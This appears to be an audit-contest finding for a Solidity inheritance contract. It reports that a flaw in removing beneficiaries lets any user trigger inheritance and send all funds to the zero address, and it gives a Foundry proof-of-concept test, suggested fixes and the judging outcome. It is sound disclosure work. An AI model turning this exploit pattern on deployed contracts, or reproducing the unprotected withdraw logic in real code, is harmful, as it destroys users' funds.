Submission Details
Severity:
random user is able to wipe the contract when inherited is triggered
Summary:
Random non-beneficiary user is able to send all the funds to 0x0 address
Vulnerability Details:
if owner adds a few users and then removes due the natire of how delete() works what remains is 0x0 address. A malicious user could just calls inherit once at least a couple of users are being added and then send funds to 0x0 address.
Impact:
All contract funds could be wiped in the particular scenario - beneficiaries added, then removed.
Tools Used
Foundry
Recommendations
protect with an existing modifier the witdraw function to avoid just anyone calling it.
add a check before sending to address if ti s a 0x0 address
PoC:
PoC: function test_withdrawInheritedFundsSendsToAddress0() public {
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
vm.deal(address(im), 10e18);
uint256 contractBalanceBefore = address(im).balance;
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(user2);
im.removeBeneficiary(user1);
im.removeBeneficiary(user2);
vm.stopPrank();
vm.warp(block.timestamp + 90 days);
im.inherit();
bool isInhertied = im.getIsInherited();
assertEq(true, isInhertied);
vm.prank(user3);
im.withdrawInheritedFunds(address(0x0));
vm.stopPrank();
uint256 contractBalanceAfter = address(im).balance;
console.log("contractBalanceBefore: ", contractBalanceBefore);
console.log("contractBalanceAfter: ", contractBalanceAfter);
console.log("user1.balance: ", user1.balance);
console.log("user2.balance: ", user2.balance);
console.log("user3.balance: ", user3.balance);
console.log("address(0).balance: ", address(0x0).balance);
assertNotEq(contractBalanceBefore, contractBalanceAfter);
}
Updates
Lead Judging Commences
0xtimefliez 9 months ago
Submission Judgement Published Assigned finding tags:
Incorrect removal from beneficiary list causes funds to be send to 0 address
Rewards breakdown
nSLOC
211This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.